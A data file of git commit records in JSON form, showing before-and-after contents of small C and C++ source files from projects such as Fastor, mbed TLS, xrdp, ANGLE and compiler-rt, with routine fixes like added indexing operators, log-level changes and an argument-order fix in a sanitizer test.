{"commit":"18442c5cf486e16f4cb418a0d7ef2a2dd9ea7c34","old_file":"Fastor\/tensor\/ScalarIndexing.h","new_file":"Fastor\/tensor\/ScalarIndexing.h","old_contents":"#ifndef SCALAR_INDEXING_NONCONST_H\n#define SCALAR_INDEXING_NONCONST_H\n\n\n\/\/ Scalar indexing non-const\n\/\/----------------------------------------------------------------------------------------------------------\/\/\ntemplate<typename... Args, typename std::enable_if<sizeof...(Args)==dimension_t::value &&\n                                is_arithmetic_pack<Args...>::value,bool>::type =0>\nFASTOR_INLINE T& operator()(Args ... args) {\n    return _data[get_flat_index(args...)];\n}\n\/\/----------------------------------------------------------------------------------------------------------\/\/\n\n#endif \/\/ SCALAR_INDEXING_NONCONST_H\n\n\n#ifndef SCALAR_INDEXING_CONST_H\n#define SCALAR_INDEXING_CONST_H\n\n\/\/ Scalar indexing const\n\/\/----------------------------------------------------------------------------------------------------------\/\/\ntemplate<typename... Args, typename std::enable_if<sizeof...(Args)==dimension_t::value &&\n                                is_arithmetic_pack<Args...>::value,bool>::type =0>\nconstexpr FASTOR_INLINE const T& operator()(Args ... args) const {\n    return _data[get_flat_index(args...)];\n}\n\n\/\/----------------------------------------------------------------------------------------------------------\/\/\n\n#endif \/\/ SCALAR_INDEXING_CONST_H\n","new_contents":"#ifndef SCALAR_INDEXING_NONCONST_H\n#define SCALAR_INDEXING_NONCONST_H\n\n\n\/\/ Scalar indexing non-const\n\/\/----------------------------------------------------------------------------------------------------------\/\/\ntemplate<typename... Args, typename std::enable_if<sizeof...(Args)==dimension_t::value &&\n                                is_arithmetic_pack<Args...>::value,bool>::type =0>\nFASTOR_INLINE T& operator()(Args ... args) {\n    return _data[get_flat_index(args...)];\n}\ntemplate<typename Arg, typename std::enable_if<1==dimension_t::value &&\n                                is_arithmetic_pack<Arg>::value,bool>::type =0>\nFASTOR_INLINE T& operator[](Arg arg) {\n    return _data[get_flat_index(arg)];\n}\n\/\/----------------------------------------------------------------------------------------------------------\/\/\n\n#endif \/\/ SCALAR_INDEXING_NONCONST_H\n\n\n#ifndef SCALAR_INDEXING_CONST_H\n#define SCALAR_INDEXING_CONST_H\n\n\/\/ Scalar indexing const\n\/\/----------------------------------------------------------------------------------------------------------\/\/\ntemplate<typename... Args, typename std::enable_if<sizeof...(Args)==dimension_t::value &&\n                                is_arithmetic_pack<Args...>::value,bool>::type =0>\nconstexpr FASTOR_INLINE const T& operator()(Args ... args) const {\n    return _data[get_flat_index(args...)];\n}\ntemplate<typename Arg, typename std::enable_if<1==dimension_t::value &&\n                                is_arithmetic_pack<Arg>::value,bool>::type =0>\nconstexpr FASTOR_INLINE const T& operator[](Arg arg) const {\n    return _data[get_flat_index(arg)];\n}\n\/\/----------------------------------------------------------------------------------------------------------\/\/\n\n#endif \/\/ SCALAR_INDEXING_CONST_H\n","subject":"Allow indexing by operator[] when dimension is 1","message":"Allow indexing by operator[] when dimension is 1\n","lang":"C","license":"mit","repos":"romeric\/Fastor,romeric\/Fastor,romeric\/Fastor"}
{"commit":"d7519565d22249fa2c0f2ec4c60a2c0e3981b916","old_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","new_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","old_contents":"\/**\n *  Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(DEVICE_RTC)\n#define MBEDTLS_HAVE_TIME_DATE\n#endif\n\n#if defined(MBEDTLS_CONFIG_HW_SUPPORT)\n#include \"mbedtls_device.h\"\n#endif\n","new_contents":"\/**\n *  Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(MBEDTLS_CONFIG_HW_SUPPORT)\n#include \"mbedtls_device.h\"\n#endif\n","subject":"Disable MBEDTLS_HAVE_DATE_TIME as ARMCC does not support gmtime","message":"Disable MBEDTLS_HAVE_DATE_TIME as ARMCC does not support gmtime\n","lang":"C","license":"apache-2.0","repos":"andcor02\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,mbedmicro\/mbed,c1728p9\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os,betzw\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,betzw\/mbed-os,kjbracey-arm\/mbed,betzw\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,c1728p9\/mbed-os,betzw\/mbed-os,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,betzw\/mbed-os,c1728p9\/mbed-os"}
{"commit":"6ddc15b9ba5b3b0c811a1ad22131005360474692","old_file":"libyaul\/scu\/bus\/b\/vdp\/vdp2_tvmd_display_clear.c","new_file":"libyaul\/scu\/bus\/b\/vdp\/vdp2_tvmd_display_clear.c","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <vdp2\/tvmd.h>\n\n#include \"vdp-internal.h\"\n\nvoid\nvdp2_tvmd_display_clear(void)\n{\n        _state_vdp2()->regs.tvmd &= 0x7FFF;\n\n        \/* Change the DISP bit during VBLANK *\/\n        vdp2_tvmd_vblank_in_wait();\n\n        MEMORY_WRITE(16, VDP2(TVMD), _state_vdp2()->regs.tvmd);\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <vdp2\/tvmd.h>\n\n#include \"vdp-internal.h\"\n\nvoid\nvdp2_tvmd_display_clear(void)\n{\n        _state_vdp2()->regs.tvmd &= 0x7EFF;\n\n        \/* Change the DISP bit during VBLANK *\/\n        vdp2_tvmd_vblank_in_wait();\n\n        MEMORY_WRITE(16, VDP2(TVMD), _state_vdp2()->regs.tvmd);\n}\n","subject":"Clear bit when writing to VDP2(TVMD)","message":"Clear bit when writing to VDP2(TVMD)\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"f24e70fa3a204565a656594b48ac84c390aa1e8f","old_file":"libcef_dll\/cef_macros.h","new_file":"libcef_dll\/cef_macros.h","old_contents":"\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n","new_contents":"\/\/ Copyright (c) 2014 The Chromium Embedded Framework Authors. All rights\n\/\/ reserved. Use of this source code is governed by a BSD-style license that\n\/\/ can be found in the LICENSE file.\n\n#ifndef CEF_LIBCEF_DLL_CEF_MACROS_H_\n#define CEF_LIBCEF_DLL_CEF_MACROS_H_\n#pragma once\n\n#ifdef BUILDING_CEF_SHARED\n#include \"base\/macros.h\"\n#else  \/\/ !BUILDING_CEF_SHARED\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This should be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\n#endif  \/\/ !BUILDING_CEF_SHARED\n\n#endif  \/\/ CEF_LIBCEF_DLL_CEF_MACROS_H_\n","subject":"Remove duplicate content in file.","message":"Remove duplicate content in file.\n\ngit-svn-id: 66addb63d0c46e75f185859367c4faf62af16cdd@1734 5089003a-bbd8-11dd-ad1f-f1f9622dbc98\n","lang":"C","license":"bsd-3-clause","repos":"kuscsik\/chromiumembedded,kuscsik\/chromiumembedded,kuscsik\/chromiumembedded,kuscsik\/chromiumembedded"}
{"commit":"f908528a004812c36a27a6705f8d2453cc9084c4","old_file":"sesman\/libscp\/libscp_init.c","new_file":"sesman\/libscp\/libscp_init.c","old_contents":"\/**\n * xrdp: A Remote Desktop Protocol server.\n *\n * Copyright (C) Jay Sorg 2004-2012\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n *\n * @file libscp_init.c\n * @brief libscp initialization code\n * @author Simone Fedele\n *\n *\/\n\n#include \"libscp_init.h\"\n\n\/\/struct log_config* s_log;\n\n\/* server API *\/\nint DEFAULT_CC\nscp_init()\n{\n    \/*\n      if (0 == log)\n      {\n        return 1;\n      }\n    *\/\n\n    \/\/s_log = log;\n\n    scp_lock_init();\n\n    log_message(LOG_LEVEL_WARNING, \"[init:%d] libscp initialized\", __LINE__);\n\n    return 0;\n}\n","new_contents":"\/**\n * xrdp: A Remote Desktop Protocol server.\n *\n * Copyright (C) Jay Sorg 2004-2012\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n *\n * @file libscp_init.c\n * @brief libscp initialization code\n * @author Simone Fedele\n *\n *\/\n\n#include \"libscp_init.h\"\n\n\/\/struct log_config* s_log;\n\n\/* server API *\/\nint DEFAULT_CC\nscp_init()\n{\n    \/*\n      if (0 == log)\n      {\n        return 1;\n      }\n    *\/\n\n    \/\/s_log = log;\n\n    scp_lock_init();\n\n    log_message(LOG_LEVEL_DEBUG, \"libscp initialized\");\n\n    return 0;\n}\n","subject":"Downgrade \"libscp initialized\" to LOG_LEVEL_DEBUG, remove line number","message":"Downgrade \"libscp initialized\" to LOG_LEVEL_DEBUG, remove line number\n\nIt's a bad style to start the log with a cryptic warning.\n","lang":"C","license":"apache-2.0","repos":"metalefty\/xrdp,moobyfr\/xrdp,itamarjp\/xrdp,PKRoma\/xrdp,PKRoma\/xrdp,jsorg71\/xrdp,cocoon\/xrdp,ubuntu-xrdp\/xrdp,ubuntu-xrdp\/xrdp,itamarjp\/xrdp,neutrinolabs\/xrdp,itamarjp\/xrdp,moobyfr\/xrdp,proski\/xrdp,jsorg71\/xrdp,metalefty\/xrdp,moobyfr\/xrdp,neutrinolabs\/xrdp,neutrinolabs\/xrdp,cocoon\/xrdp,metalefty\/xrdp,proski\/xrdp,cocoon\/xrdp,proski\/xrdp,jsorg71\/xrdp,ubuntu-xrdp\/xrdp,PKRoma\/xrdp"}
{"commit":"af2092f1be7ab6af6bd67fcc59009adb2ee51470","old_file":"mudlib\/mud\/home\/Text\/sys\/verb\/wiz\/ooc\/system\/btune.c","new_file":"mudlib\/mud\/home\/Text\/sys\/verb\/wiz\/ooc\/system\/btune.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/kotaka.h>\n#include <kotaka\/paths\/string.h>\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/paths\/text.h>\n#include <kotaka\/paths\/thing.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tobject user;\n\tfloat interval;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 2) {\n\t\tsend_out(\"You do not have sufficient access rights to tune the bulk sync system.\\n\");\n\t\treturn;\n\t}\n\n\tif (args == \"\") {\n\t\tsend_out(\"Current bulk sync interval: \" + STRINGD->mixed_sprint(BULKD->query_interval()) + \"\\n\");\n\t\treturn;\n\t}\n\n\tif (!sscanf(args, \"%f\", interval)) {\n\t\tsend_out(\"Floats only please.\\n\");\n\t\treturn;\n\t}\n\n\tBULKD->set_interval(interval);\n\n\tsend_out(\"BulkD tuned.\\n\");\n\treturn;\n}\n","subject":"Add command to tune bulkd","message":"Add command to tune bulkd\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"7359740eaddf6e4c01ccd91fe1044932d019d8e3","old_file":"Settings\/Controls\/Label.h","new_file":"Settings\/Controls\/Label.h","old_contents":"#pragma once\n\n#include \"Control.h\"\n#include \"..\/..\/3RVX\/Logger.h\"\n\nclass Label : public Control {\npublic:\n    Label() {\n\n    }\n\n    Label(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n};","new_contents":"#pragma once\n\n#include \"Control.h\"\n#include \"..\/..\/3RVX\/Logger.h\"\n\nclass Label : public Control {\npublic:\n    Label() {\n\n    }\n\n    Label(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n\n    Label(int id, DialogBase &parent, bool translate = true) :\n    Control(id, parent, false) {\n\n    }\n};","subject":"Add a new-style constructor for labels","message":"Add a new-style constructor for labels\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"4160de1a24f5ca414508e396e43ba756d73f8338","old_file":"Source\/PPSSignatureView.h","new_file":"Source\/PPSSignatureView.h","old_contents":"#import <UIKit\/UIKit.h>\n#import <GLKit\/GLKit.h>\n\n@interface PPSSignatureView : GLKView\n\n@property (assign, nonatomic) UIColor *strokeColor;\n@property (assign, nonatomic) BOOL hasSignature;\n@property (strong, nonatomic) UIImage *signatureImage;\n\n- (void)erase;\n\n@end\n","new_contents":"#import <UIKit\/UIKit.h>\n#import <GLKit\/GLKit.h>\n\n@interface PPSSignatureView : GLKView\n\n@property (assign, nonatomic) IBInspectable UIColor *strokeColor;\n@property (assign, nonatomic) BOOL hasSignature;\n@property (strong, nonatomic) UIImage *signatureImage;\n\n- (void)erase;\n\n@end\n","subject":"Make stroke color an IBInspectable property.","message":"Make stroke color an IBInspectable property.\n","lang":"C","license":"mit","repos":"ronaldsmartin\/PPSSignatureView"}
{"commit":"e636d645deee9bf088091fba525ca18f55c516c9","old_file":"src\/common\/angleutils.h","new_file":"src\/common\/angleutils.h","old_contents":"\/\/\n\/\/ Copyright (c) 2002-2010 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ angleutils.h: Common ANGLE utilities.\n\n#ifndef COMMON_ANGLEUTILS_H_\n#define COMMON_ANGLEUTILS_H_\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This must be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\ntemplate <typename T, unsigned int N>\ninline unsigned int ArraySize(T(&)[N])\n{\n    return N;\n}\n\n#if defined(_MSC_VER)\n#define snprintf _snprintf\n#endif\n\n#define VENDOR_ID_AMD 0x1002\n#define VENDOR_ID_INTEL 0x8086\n#define VENDOR_ID_NVIDIA 0x10DE\n\n#define GL_BGRA4_ANGLEX 0x6ABC\n#define GL_BGR5_A1_ANGLEX 0x6ABD\n\n#endif \/\/ COMMON_ANGLEUTILS_H_\n","new_contents":"\/\/\n\/\/ Copyright (c) 2002-2010 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ angleutils.h: Common ANGLE utilities.\n\n#ifndef COMMON_ANGLEUTILS_H_\n#define COMMON_ANGLEUTILS_H_\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This must be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\ntemplate <typename T, unsigned int N>\ninline unsigned int ArraySize(T(&)[N])\n{\n    return N;\n}\n\ntemplate <typename T, unsigned int N>\nvoid SafeRelease(T (&resourceBlock)[N])\n{\n    for (unsigned int i = 0; i < N; i++)\n    {\n        SafeRelease(resourceBlock[i]);\n    }\n}\n\ntemplate <typename T>\nvoid SafeRelease(T& resource)\n{\n    if (resource)\n    {\n        resource->Release();\n        resource = NULL;\n    }\n}\n\n#if defined(_MSC_VER)\n#define snprintf _snprintf\n#endif\n\n#define VENDOR_ID_AMD 0x1002\n#define VENDOR_ID_INTEL 0x8086\n#define VENDOR_ID_NVIDIA 0x10DE\n\n#define GL_BGRA4_ANGLEX 0x6ABC\n#define GL_BGR5_A1_ANGLEX 0x6ABD\n\n#endif \/\/ COMMON_ANGLEUTILS_H_\n","subject":"Add helper functions to safely release Windows COM resources, and arrays of COM resources.","message":"Add helper functions to safely release Windows COM resources, and arrays of COM resources.\n\nTRAC #22656\n\nSigned-off-by: Nicolas Capens\nSigned-off-by: Shannon Woods\nAuthor: Jamie Madill\n\ngit-svn-id: 2a1ef23f1c4b6a1dbccd5f9514022461535c55c0@2014 736b8ea6-26fd-11df-bfd4-992fa37f6226\n","lang":"C","license":"bsd-3-clause","repos":"ehsan\/angle,xuxiandi\/angleproject,xin3liang\/platform_external_chromium_org_third_party_angle_dx11,MIPS\/external-chromium_org-third_party-angle_dx11,shairai\/angleproject,MIPS\/external-chromium_org-third_party-angle,xin3liang\/platform_external_chromium_org_third_party_angle,RepublicMaster\/angleproject,vvuk\/angle-old,android-ia\/platform_external_chromium_org_third_party_angle,KalebDark\/angleproject,android-ia\/platform_external_chromium_org_third_party_angle,MIPS\/external-chromium_org-third_party-angle_dx11,MIPS\/external-chromium_org-third_party-angle,geekboxzone\/lollipop_external_chromium_org_third_party_angle,jgcaaprom\/android_external_chromium_org_third_party_angle,android-ia\/platform_external_chromium_org_third_party_angle,jgcaaprom\/android_external_chromium_org_third_party_angle,jgcaaprom\/android_external_chromium_org_third_party_angle,KTXSoftware\/angleproject,cantren\/angleproject,MSOpenTech\/angle-win8.0,cantren\/angleproject,KalebDark\/angleproject,ehsan\/angle,RepublicMaster\/angleproject,vvuk\/angle-old,android-ia\/platform_external_chromium_org_third_party_angle,MIPS\/external-chromium_org-third_party-angle,xin3liang\/platform_external_chromium_org_third_party_angle_dx11,themusicgod1\/angleproject,MSOpenTech\/angle-win8.0,android-ia\/platform_external_chromium_org_third_party_angle_dx11,android-ia\/platform_external_chromium_org_third_party_angle_dx11,cvsuser-chromium\/chromium-third-party_angle_dx11,pombreda\/angleproject,themusicgod1\/angleproject,xin3liang\/platform_external_chromium_org_third_party_angle,MIPS\/external-chromium_org-third_party-angle_dx11,KTXSoftware\/angleproject,ehsan\/angle,geekboxzone\/lollipop_external_chromium_org_third_party_angle,themusicgod1\/angleproject,xuxiandi\/angleproject,stammen\/angleproject,MIPS\/external-chromium_org-third_party-angle,KTXSoftware\/angleproject,KalebDark\/angleproject,KTXSoftware\/angleproject,xin3liang\/platform_external_chromium_org_third_party_angle,pombreda\/angleproject,cvsuser-chromium\/chromium-third-party_angle_dx11,shairai\/angleproject,MIPS\/external-chromium_org-third_party-angle_dx11,MSOpenTech\/angle-win8.0,shairai\/angleproject,RepublicMaster\/angleproject,cvsuser-chromium\/chromium-third-party_angle_dx11,geekboxzone\/lollipop_external_chromium_org_third_party_angle,pombreda\/angleproject,RepublicMaster\/angleproject,KalebDark\/angleproject,cantren\/angleproject,pombreda\/angleproject,android-ia\/platform_external_chromium_org_third_party_angle_dx11,vvuk\/angle-old,vvuk\/angle-old,ehsan\/angle,cantren\/angleproject,xuxiandi\/angleproject,KTXSoftware\/angleproject,geekboxzone\/lollipop_external_chromium_org_third_party_angle,cvsuser-chromium\/chromium-third-party_angle_dx11,xin3liang\/platform_external_chromium_org_third_party_angle,MSOpenTech\/angle-win8.0,jgcaaprom\/android_external_chromium_org_third_party_angle,xin3liang\/platform_external_chromium_org_third_party_angle_dx11,themusicgod1\/angleproject,stammen\/angleproject,xuxiandi\/angleproject,xin3liang\/platform_external_chromium_org_third_party_angle_dx11,android-ia\/platform_external_chromium_org_third_party_angle_dx11,stammen\/angleproject,shairai\/angleproject,stammen\/angleproject"}
{"commit":"aa18a176915c652969964763a767b00453655423","old_file":"source\/system\/Array.h","new_file":"source\/system\/Array.h","old_contents":"#ifndef OOC_ARRAY_H_\n#define OOC_ARRAY_H_\n\n#define array_malloc(size) calloc(1, (size))\n#define array_free free\n\n#include <stdint.h>\n\n#define _lang_array__Array_new(type, size) ((_lang_array__Array) { size, array_malloc((size) * sizeof(type)) });\n\n#if defined(safe)\n#define _lang_array__Array_get(array, index, type) ( \\\n    ((type*) array.data)[(index < 0 || index >= array.length) ? kean_exception_outOfBoundsException_throw(index, array.length), -1 : index])\n#define _lang_array__Array_set(array, index, type, value) \\\n    (((type*) array.data)[(index < 0 || index >= array.length) ? kean_exception_outOfBoundsException_throw(index, array.length), -1 : index] = value)\n#else\n#define _lang_array__Array_get(array, index, type) ( \\\n    ((type*) array.data)[index])\n#define _lang_array__Array_set(array, index, type, value) \\\n    (((type*) array.data)[index] = value)\n#endif\n\n#define _lang_array__Array_free(array) { array_free(array.data); }\n\ntypedef struct {\n    size_t length;\n    void* data;\n} _lang_array__Array;\n\n#endif\n","new_contents":"#ifndef OOC_ARRAY_H_\n#define OOC_ARRAY_H_\n\n#define array_malloc(size) calloc(1, (size))\n#define array_free free\n\n#include <stdint.h>\n\n#define _lang_array__Array_new(type, size) ((_lang_array__Array) { size, array_malloc((size) * sizeof(type)) });\n\n#if defined(safe)\n#define _lang_array__Array_get(array, index, type) ( \\\n    ((type*) array.data)[(index < 0 || index >= array.length) ? kean_exception_outOfBoundsException_throw(index, array.length), -1 : index])\n#define _lang_array__Array_set(array, index, type, value) \\\n    (((type*) array.data)[(index < 0 || index >= array.length) ? kean_exception_outOfBoundsException_throw(index, array.length), -1 : index] = value)\n#else\n#define _lang_array__Array_get(array, index, type) ( \\\n    ((type*) array.data)[index])\n#define _lang_array__Array_set(array, index, type, value) \\\n    (((type*) array.data)[index] = value)\n#endif\n\n#define _lang_array__Array_free(array) { array_free(array.data); array.data = NULL; array.length = 0; }\n\ntypedef struct {\n    size_t length;\n    void* data;\n} _lang_array__Array;\n\n#endif\n","subject":"Set pointer to array data to null after free","message":"Set pointer to array data to null after free\n","lang":"C","license":"mit","repos":"firog\/ooc-kean,magic-lang\/ooc-kean,thomasfanell\/ooc-kean,simonmika\/ooc-kean,simonmika\/ooc-kean,sebastianbaginski\/ooc-kean,sebastianbaginski\/ooc-kean,thomasfanell\/ooc-kean,fredrikbryntesson\/ooc-kean,firog\/ooc-kean,fredrikbryntesson\/ooc-kean,magic-lang\/ooc-kean"}
{"commit":"a7074f2fe3c4f0eac5efb79ea6896319038dbe9f","old_file":"test\/asan\/TestCases\/printf-4.c","new_file":"test\/asan\/TestCases\/printf-4.c","old_contents":"\/\/ RUN: %clang_asan -O2 %s -o %t\n\/\/ RUN: %env_asan_opts=check_printf=1 not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\/\/ RUN: not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\n\/\/ FIXME: sprintf is not intercepted on Windows yet.\n\/\/ XFAIL: win32\n\n#include <stdio.h>\nint main() {\n  volatile char c = '0';\n  volatile int x = 12;\n  volatile float f = 1.239;\n  volatile char s[] = \"34\";\n  volatile char buf[2];\n  fputs(stderr, \"before sprintf\");\n  sprintf((char *)buf, \"%c %d %.3f %s\\n\", c, x, f, s);\n  fputs(stderr, \"after sprintf\");\n  fputs(stderr, (const char *)buf);\n  return 0;\n  \/\/ Check that size of output buffer is sanitized.\n  \/\/ CHECK-ON: before sprintf\n  \/\/ CHECK-ON-NOT: after sprintf\n  \/\/ CHECK-ON: stack-buffer-overflow\n  \/\/ CHECK-ON-NOT: 0 12 1.239 34\n}\n","new_contents":"\/\/ RUN: %clang_asan -O2 %s -o %t\n\/\/ RUN: %env_asan_opts=check_printf=1 not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\/\/ RUN: not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\n\/\/ FIXME: sprintf is not intercepted on Windows yet.\n\/\/ XFAIL: win32\n\n#include <stdio.h>\nint main() {\n  volatile char c = '0';\n  volatile int x = 12;\n  volatile float f = 1.239;\n  volatile char s[] = \"34\";\n  volatile char buf[2];\n  fputs(\"before sprintf\\n\", stderr);\n  sprintf((char *)buf, \"%c %d %.3f %s\\n\", c, x, f, s);\n  fputs(\"after sprintf\", stderr);\n  fputs((const char *)buf, stderr);\n  return 0;\n  \/\/ Check that size of output buffer is sanitized.\n  \/\/ CHECK-ON: before sprintf\n  \/\/ CHECK-ON-NOT: after sprintf\n  \/\/ CHECK-ON: stack-buffer-overflow\n  \/\/ CHECK-ON-NOT: 0 12 1.239 34\n}\n","subject":"Fix order of arguments to fputs","message":"Fix order of arguments to fputs\n\nThis time actually tested on Linux, where the test is not XFAILed.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@263294 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"24aa328ddab86fd861961b1d68091d334d773d75","old_file":"slobrok\/src\/vespa\/slobrok\/server\/reconfigurable_stateserver.h","new_file":"slobrok\/src\/vespa\/slobrok\/server\/reconfigurable_stateserver.h","old_contents":"\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#include <vespa\/config\/helper\/configfetcher.h>\n#include <vespa\/config\/subscription\/configuri.h>\n#include <vespa\/config-stateserver.h>\n\nnamespace vespalib {\n    class HealthProducer;\n    class MetricsProducer;\n    class ComponentConfigProducer;\n    class StateServer;\n}\nnamespace slobrok {\n\nclass ReconfigurableStateServer : private config::IFetcherCallback<vespa::config::core::StateserverConfig> {\npublic:\n    ReconfigurableStateServer(const config::ConfigUri & configUri,\n                              vespalib::HealthProducer & healt,\n                              vespalib::MetricsProducer & metrics,\n                              vespalib::ComponentConfigProducer & component);\n    ~ReconfigurableStateServer();\nprivate:\n    void configure(std::unique_ptr<vespa::config::core::StateserverConfig> config) override;\n    vespalib::HealthProducer               & _health;\n    vespalib::MetricsProducer              & _metrics;\n    